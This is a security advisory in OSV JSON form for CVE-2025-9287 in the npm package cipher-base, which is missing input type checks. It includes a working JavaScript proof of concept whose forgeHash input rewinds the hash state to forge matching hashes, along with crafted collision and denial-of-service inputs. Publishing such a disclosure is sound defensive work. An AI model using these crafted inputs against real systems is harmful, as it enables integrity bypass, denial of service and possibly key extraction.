CVE-2025-9287: Cipher base Cipher-base Is Missing Type Checks, Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cpq7-6gpm-g9rc",
  "modified" : "2025-11-03T21:34:22Z",
  "published" : "2025-08-21T14:47:35Z",
  "aliases" : [ "CVE-2025-9287" ],
  "summary" : "cipher-base is missing type checks, leading to hash rewind and passing on crafted data",
  "details" : "### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = createHash('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "cipher-base"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-9287"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/browserify/cipher-base/pull/23"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/browserify/cipher-base"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-21T14:47:35Z",
    "nvd_published_at" : "2025-08-20T22:15:30Z"
  }
}